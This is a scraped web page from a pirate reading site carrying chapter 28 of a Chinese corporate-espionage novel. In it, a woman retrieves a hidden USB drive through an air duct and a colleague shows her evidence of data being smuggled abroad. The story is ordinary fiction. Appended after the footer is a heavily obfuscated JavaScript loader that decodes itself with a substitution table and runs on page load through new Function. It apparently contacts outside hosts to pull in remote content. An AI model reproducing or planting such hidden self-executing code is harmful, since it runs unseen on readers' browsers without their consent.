首页
第28章:数据迷雾
返回
关灯 护眼:关 字号:小

第28章:数据迷雾

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第28章:数据迷雾(第1/2页)
    路容关掉台灯,房间沉入彻底的黑暗。她在椅子上坐了很久,直到眼睛适应了这片浓黑,能勉强看清家具的轮廓。窗外的天际线开始泛起一丝极淡的灰白,凌晨四点十七分。她站起来,走到窗边,看着那座即将苏醒的城市。手指无意识地摩挲着口袋里那个冰冷的U盘——那是老吴明天将要给她的东西,也是她通往深渊的门票。风从窗户缝隙钻进来,带着黎明前最深的寒意,吹起她额前的碎发。她深吸一口气,那空气冷冽而清澈。然后她转身,走向浴室,拧开水龙头。水流哗哗作响,在寂静的房间里显得格外响亮。她需要洗个脸,需要清醒,需要为明天——不,为今天——做好准备。
    ***
    中午十二点零三分,星耀集团地下停车场B区。
    路容穿着深灰色的职业套装,手里拿着一个普通的帆布午餐袋,脚步平稳地走向电梯间。她的高跟鞋敲击在水泥地面上,发出清脆而规律的声响,在空旷的停车场里回荡。空气里弥漫着汽油、橡胶轮胎和潮湿混凝土混合的味道,还有远处传来的汽车引擎怠速的嗡嗡声。头顶的日光灯管发出惨白的光,把一切都照得没有阴影,却又显得格外阴冷。
    她经过第六根承重柱。
    眼角余光扫过第七根。
    柱子后面是墙壁,墙壁上有一个方形的金属检修口,大约三十厘米见方,用四颗螺丝固定着。检修口下方堆放着几个废弃的纸箱,上面落满了灰尘。停车场里很安静,只有远处保安巡逻的脚步声,还有通风管道里传来的、若有若无的风声。
    路容没有停下脚步。
    她继续往前走,在电梯间门口停下,按了下行按钮。电梯门打开,里面空无一人。她走进去,按下B2层——那是更深的停车场,通常只有少数高管的车位在那里。电梯缓缓下降,金属箱体发出轻微的摩擦声。路容盯着楼层数字跳动,呼吸平稳。
    电梯在B2层停下。
    门打开,外面是更昏暗的停车场,灯光稀疏,空气更冷。路容走出电梯,向左转,沿着车道走了大约五十米,然后拐进一个消防通道。通道里没有监控——这是她之前花了两周时间,利用午休时间一点点摸清的。她推开防火门,门轴发出轻微的吱呀声。里面是楼梯间,墙壁刷着暗绿色的油漆,已经斑驳脱落。楼梯向上通往B1层,向下通往B3层——那是设备层,平时几乎没有人去。
    路容向下走。
    脚步声在楼梯间里回荡,带着一种空洞的回音。她能闻到灰尘和铁锈的味道,还有某种隐约的霉味。楼梯间的灯光是声控的,她每走几步,头顶的灯就会亮起,然后又在她身后熄灭。一层,两层。她来到B3层,推开防火门。
    外面是一条狭窄的走廊,两侧是各种管道和电箱。走廊尽头是通风机房,巨大的风机发出低沉的轰鸣,震得地面都在微微颤动。空气里充满了机油和金属摩擦产生的热量。路容沿着走廊往回走,来到一个通风管道的主干道接口处。接口上方有一个检修梯,通往B1层的通风管道系统。
    她看了看手表。
    十二点十七分。
    午休时间还有四十三分钟。
    她脱下高跟鞋,塞进帆布午餐袋里,换上事先准备好的平底软底鞋。然后她爬上检修梯,梯子的金属横杆冰凉刺骨,上面覆盖着一层薄薄的油污。她爬到顶端,推开通风管道的检修盖——盖子是活动的,没有上锁。这是她上周来检查时故意松动的。
    管道里一片漆黑。
    路容打开手机的手电筒功能,光线在金属管道内壁上反射,形成一片惨白的光晕。管道大约一米见方,内壁积着厚厚的灰尘,还有一些蜘蛛网在角落里摇曳。空气不流通,带着一种沉闷的、金属特有的腥味。她爬进去,沿着管道向前。
    手机的光在黑暗中晃动。
    她能听见自己的呼吸声,在狭窄的空间里被放大,带着一种急促的节奏。灰尘被搅动起来,在光线里飞舞,像无数细小的幽灵。她爬了大约十米,来到一个分叉口。向左通往B1层东区,向右通往B1层西区——也就是B区停车场上方。
    她向右转。
    又爬了五米。
    前方出现一个向下倾斜的支管,管壁上有一个检修口。路容爬过去,透过检修口的金属格栅向下看。下面是B区停车场第七根柱子后面的区域。角度很好,能看到检修口,也能看到周围的情况。
    停车场里空无一人。
    远处,保安的脚步声渐渐远去。
    路容从口袋里掏出一个小巧的磁吸工具——这是她之前在网上匿名购买的,用来吸附金属物体。她把工具从格栅缝隙伸下去,对准检修口的螺丝。工具前端有一个微型摄像头,通过蓝牙连接到她的手机。她在手机屏幕上调整角度,让工具头部的六角套筒对准螺丝。
    拧。
    第一颗螺丝松动。
    她动作很慢,很轻。金属摩擦的声音在通风管道里被放大,但在空旷的停车场里,几乎听不见。她能感觉到手心在出汗,汗水让工具有些滑。她停下来,用袖子擦了擦手,深呼吸。
    第二颗螺丝。
    第三颗。
    第四颗。
    检修口的金属盖板松动了。她用磁吸工具轻轻吸住盖板,向上提。盖板被提起,露出下面的空洞。路容把工具收回来,从帆布午餐袋里掏出一个细长的金属钩子,钩子末端有一个小夹子。她把钩子伸下去,在空洞里摸索。
    碰到了。
    一个防水的密封袋,大约巴掌大小,用胶带固定在管道内壁上。路容用夹子夹住袋子,轻轻向上拉。袋子被拉上来,表面是黑色的,没有任何标识。她迅速把袋子塞进帆布午餐袋里,然后把检修口的盖板重新放回去,用工具把螺丝拧紧——不需要完全拧死,只要看起来正常就行。
    做完这一切,她看了看时间。
    十二点三十一分。
    她沿着原路返回,爬出通风管道,爬下检修梯,穿上高跟鞋。脚步声在走廊里响起,平稳而规律。她推开防火门,回到楼梯间,向上走。一层,两层。回到B1层,推开防火门,外面是停车场B区。
    她走向电梯间。
    手指在口袋里,紧紧握着那个防水袋。袋子很薄,她能感觉到里面U盘的轮廓,还有一张折叠的纸——应该是使用说明。她的心跳有些快,但脸上没有任何表情。电梯门打开,她走进去,按下28层——技术部所在的楼层。
    电梯上升。
    金属箱体发出轻微的嗡鸣。
    路容看着楼层数字跳动,脑子里开始快速思考。老吴的工具拿到了,接下来就是找机会登录“暗网枢纽”。但必须在绝对安全的环境下,不能在公司,也不能在她自己的出租屋——那里虽然相对安全,但网络环境可能被监控。她需要一个公共的、无法追踪的Wi-Fi,比如某个大型商场或者图书馆的开放网络,而且必须使用老吴提供的工具进行多层跳转和伪装。
    电梯在28层停下。
    门打开,外面是技术部的办公区。午休时间,大部分人都去吃饭了,只有零星几个人还在工位上。空气里飘着外卖的味道——麻辣烫、炸鸡、还有咖啡的香气。日光灯管发出均匀的白光,照在整齐排列的办公桌上,把一切都照得清晰而冰冷。
    路容走向自己的工位。
    她的工位在靠窗的位置,旁边就是周哲的座位。周哲不在,电脑屏幕暗着,椅子推得很整齐。桌面上放着一个喝了一半的咖啡杯,杯沿上有一个浅浅的唇印。路容坐下,把帆布午餐袋放进抽屉里,锁上。然后她打开电脑,登录系统,开始处理上午没做完的数据清洗工作。
    屏幕上的代码一行行滚动。
    她的手指在键盘上敲击,发出清脆的嗒嗒声。但她的注意力并不完全在代码上。她在等周哲回来——这几天,周哲的状态明显不对劲。他连续加班到很晚,每天早上来的时候,眼睛下面都有浓重的黑眼圈。开会时也总是心不在焉,眉头紧锁,像是在思考什么极其棘手的问题。
    路容知道,周哲是技术骨干,负责“深蓝计划”的部分数据监控和异常检测。如果他发现了什么,那很可能就是李剑非法数据交易的痕迹。
    但她不能主动问。
    必须等周哲自己开口。
    下午两点,周哲回来了。
    他手里拿着一杯新买的咖啡,脚步有些沉重。走到工位前,他把咖啡放在桌上,坐下,但没有立刻打开电脑。他盯着暗着的屏幕,手指无意识地敲击着桌面。敲击的节奏很乱,时快时慢。
    路容侧过头,看了他一眼。
    周哲的脸色有些苍白,嘴唇紧抿着。他的衬衫领口有些皱,袖口挽到手肘,露出的小臂上能看到淡淡的血管纹路。他深吸一口气,然后猛地站起来,走向茶水间。
    路容等了一分钟。
    然后她也站起来,拿着自己的水杯,走向茶水间。
    茶水间里只有周哲一个人。他站在窗边,看着外面,手里端着那杯咖啡,但没有喝。窗外的阳光很好,照在高楼玻璃幕墙上,反射出一片刺眼的白光。茶水间里飘着咖啡和茶叶的混合香气,还有微波炉里传来的、某种食物加热后的味道。
    路容走到饮水机前,接水。
    水流的声音在安静的房间里显得格外清晰。
    “周工。”她开口,声音平静,“关于上午那个数据清洗的算法,我有个问题想请教一下。”
    周哲转过身。
    他的眼睛里有血丝,眼神有些涣散,但听到“数据清洗”这个词时,突然聚焦了。他看了看路容,又看了看茶水间门口——确认没有人进来。
    “什么问题?”他问,声音有些沙哑。
    路容走到他身边,压低声音:“是关于异常值处理的阈值设定。我发现‘深蓝计划’的部分预处理数据里,有一些数值的波动超出了正常范围,但系统没有标记为异常。我在想,是不是审计通道的过滤规则有问题?”
    (本章未完,请点击下一页继续阅读)第28章:数据迷雾(第2/2页)
    周哲的眼睛猛地睁大。
    他盯着路容,嘴唇动了动,像是想说什么,但又咽了回去。他看了看四周,然后向前走了一步,离路容更近一些。他的呼吸有些急促,呼出的气息里带着咖啡的苦味。
    “若溪。”他压低声音,几乎是在耳语,“我可能发现了点不对劲的东西。”
    路容的心脏猛地一跳。
    但她脸上没有任何变化,只是微微皱眉,露出困惑的表情:“不对劲的东西?”
    周哲深吸一口气,像是下定了决心。他看了看手表:“下班后,你留下来一会儿。我给你看。”
    ***
    下午六点,下班时间。
    办公室里的人陆续离开,脚步声、说话声、背包拉链的声音混杂在一起,然后渐渐稀疏。日光灯一盏盏熄灭,只剩下技术部核心区域的几排灯还亮着。空气里的温度开始下降,空调已经关了,但机器运转产生的热量还在空气中残留,混合着人体和电子设备散发出的、一种难以形容的沉闷气味。
    路容坐在工位上,假装在整理文档。
    周哲也在。
    他一直在敲代码,但敲击的速度很慢,时不时停下来,盯着屏幕发呆。他的手指在键盘上悬停,然后落下,又抬起。屏幕的光映在他脸上,把他额头上渗出的细密汗珠照得发亮。
    七点十分。
    办公室里只剩下他们两个人。
    周哲终于停下敲击。他转过身,看向路容。他的脸色在屏幕光的映照下,显得更加苍白,眼睛里的血丝也更明显。
    “过来。”他说,声音很轻。
    路容站起来,走到他身边。周哲的电脑屏幕上开着三个窗口:一个是数据包抓取工具的界面,上面显示着密密麻麻的时间戳、源IP、目标IP、数据包大小;一个是网络拓扑图,上面用红色箭头标出了一条异常的数据流路径;还有一个是命令行窗口,里面是反向解析的日志,但最后几行都是“连接超时”或“无法解析”的错误信息。
    周哲移动鼠标,指向拓扑图上的红色箭头。
    “你看这里。”他说,声音压得很低,带着一种紧绷的颤抖,“这是‘深蓝计划’的核心预处理服务器,编号SVR-07。正常情况下,所有从这台服务器流出的数据,都应该先经过内部审计通道——就是这个绿色的节点,审计完成后再分发到各个业务模块。”
    他的鼠标移动到红色箭头的起点。
    “但过去一周,我监控到有七组数据包,从SVR-07流出后,没有走绿色通道。”鼠标沿着红色箭头移动,“它们绕过了审计节点,直接流向这个伪装成日志服务器的节点——你看,这个节点的标识是LOG-BACKUP-03,但它的实际IP和MAC地址,跟真正的日志服务器对不上。”
    路容盯着屏幕。
    她的呼吸变得很轻。
    周哲的鼠标点击那个伪装节点,弹出一个详细信息窗口。上面显示着数据包的加密方式:AES-256,但密钥交换协议是自定义的,不是公司标准。数据包的目标IP是一个境外地址,经过查询,属于某个加勒比海地区的虚拟主机服务商。
    “我尝试反向解析这个IP。”周哲打开命令行窗口,指着那些错误信息,“但它是层层跳转的肉鸡。第一跳是那个虚拟主机,第二跳是东欧的某个代理服务器,第三跳是东南亚的某个数据中心……至少转了五层,最后的目的地根本追踪不到。”
    他转过头,看着路容。
    他的眼睛里充满了困惑和不安,还有一丝恐惧。
    “这明显违反了公司的数据安全规定。”他说,声音更低了,“所有涉及核心业务的数据流出,都必须经过审计和审批。而且这种加密方式……不是公司标准。我查了内部文档,没有找到匹配的协议。”
    路容没有说话。
    她盯着屏幕上的数据流图,脑子里快速运转。境外IP、层层跳转、自定义加密——这完全符合非法数据交易的特征。而且从“深蓝计划”核心服务器流出,这意味着数据很可能就是“深蓝计划”的预处理结果,也就是李剑正在交易的商品。
    周哲发现了。
    他发现了李剑的罪证。
    但周哲不知道这意味着什么。他只以为这是某个员工违规操作,或者系统漏洞。他不知道这背后是集团副总裁,不知道这涉及巨额非法交易,更不知道,三年前的一桩“泄密案”,就是用类似的手法构陷了一个叫路容的人。
    路容感觉喉咙发干。
    她必须说点什么,但又不能说得太多。她既想引导周哲继续深挖,拿到更确凿的证据——比如数据包的具体内容,或者交易记录——但又怕周哲因此陷入危险。李剑如果发现有人在调查,一定会采取行动。周哲只是一个技术骨干,没有背景,没有靠山,一旦被盯上,后果不堪设想。
    “这些数据包……”路容开口,声音刻意保持平静,“它们的负载格式,你分析过吗?”
    周哲愣了一下,然后摇头:“加密太强,我解不开。只能看到外层协议头。”
    路容移动鼠标,点开一个数据包的十六进制视图。屏幕上出现密密麻麻的字符和数字,普通人根本看不懂。但路容能看懂——这是她的专业。她快速扫过那些字节,脑子里自动解析结构。
    “你看这里。”她指着其中一段,“这个字节序列,0x1A0x3F0x8E……这是某种商业数据脱敏模板的标识头。我在行业报告里见过类似的格式。”
    周哲凑近屏幕,眯起眼睛看。
    “商业数据脱敏模板?”他重复了一遍,语气疑惑,“但那应该是公开的技术标准,为什么要用自定义加密?”
    路容沉默了几秒。
    然后她说:“也许……有人不想让这些数据被轻易识别。”
    周哲的身体僵了一下。
    他抬起头,看着路容。他的眼睛里闪过一道光,像是突然明白了什么,但又不敢确信。他的嘴唇动了动,想说什么,但最终没有说出口。
    空气变得很安静。
    只有电脑风扇运转的嗡嗡声,还有远处中央空调管道里传来的、微弱的气流声。茶水间的冰箱突然启动,发出低沉的震动,然后又归于平静。窗外的天色已经完全暗下来,城市的灯光透过玻璃照进来,在办公桌上投下模糊的光斑。
    路容能闻到周哲身上传来的、淡淡的汗味和咖啡味,还有电脑硬件散发出的、那种特有的塑料和金属加热后的气味。她能感觉到自己的心跳,在胸腔里沉重地跳动,一下,又一下。
    “周工。”她终于开口,声音很轻,“你可以查查近期行业数据泄露事件的报告。有些案例里,泄露的数据就是用了类似的脱敏模板,然后通过非法渠道流出的。”
    周哲盯着她。
    他的眼神很复杂,有困惑,有警惕,还有一丝感激。他点了点头,没有说话。
    路容知道,她的话已经种下了种子。周哲会去查,会去对比,会发现这些数据包的特征,跟某些非法数据交易案例高度吻合。他会意识到,这不是简单的违规操作,而是犯罪。
    但她也知道,她把周哲拖进了危险里。
    “这件事……”周哲突然开口,声音沙哑,“先不要告诉任何人。”
    路容点头:“我明白。”
    周哲深吸一口气,然后开始关闭窗口,清理痕迹。他的动作很熟练,显然是经常做这种事。路容回到自己的工位,坐下,打开电脑,假装继续工作。但她的手指在键盘上悬停,一个字也敲不出来。
    她能听见周哲收拾东西的声音——拉上背包拉链,椅子推动,脚步声走向门口。然后脚步声停下。
    “若溪。”周哲的声音从门口传来。
    路容抬起头。
    周哲站在门口,背光,看不清表情。但他的声音很清晰:“谢谢。”
    然后他转身离开。
    脚步声在走廊里渐渐远去,最终消失。
    办公室里只剩下路容一个人。
    她坐在椅子上,一动不动。屏幕的光映在她脸上,把她的眼睛照得一片幽蓝。她能听见自己的呼吸,能听见电脑风扇的嗡鸣,能听见远处电梯运行的机械声。空气里的温度越来越低,她的手臂上起了一层细密的鸡皮疙瘩。
    她低下头,看着自己的手。
    手指在微微颤抖。
    她知道,她刚刚做了一件极其危险的事。她引导周哲走向了真相,也走向了悬崖。如果周哲继续调查,如果他被李剑发现,如果……
    路容闭上眼睛。
    她能感觉到眼眶在发热,但她没有让眼泪流下来。她深吸一口气,然后睁开眼睛,打开抽屉,拿出那个帆布午餐袋。防水袋就在里面,黑色的,没有任何标识。她把它拿出来,握在手里。
    U盘的轮廓很清晰。
    使用说明的纸张很薄。
    她知道,她必须加快速度了。周哲的发现,意味着李剑的交易还在继续,而且留下了可追踪的痕迹。她必须尽快登录“暗网枢纽”,找到“深蓝之影”的交易记录,拿到确凿证据。
    然后,在周哲陷入太深之前,结束这一切。
    路容把防水袋放回抽屉,锁上。然后她关掉电脑,站起来,走向门口。走廊里的灯已经熄了一半,光线昏暗。她的高跟鞋敲击在地面上,发出清晰的声响,在空旷的走廊里回荡,像某种孤独的节拍。
    她走到电梯间,按下下行按钮。
    电梯门打开,里面空无一人。
    她走进去,按下1层。
    电梯缓缓下降。
    金属箱体发出轻微的摩擦声,像某种古老的叹息。路容盯着楼层数字跳动,脑子里只有一个念头:
    时间,不多了。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();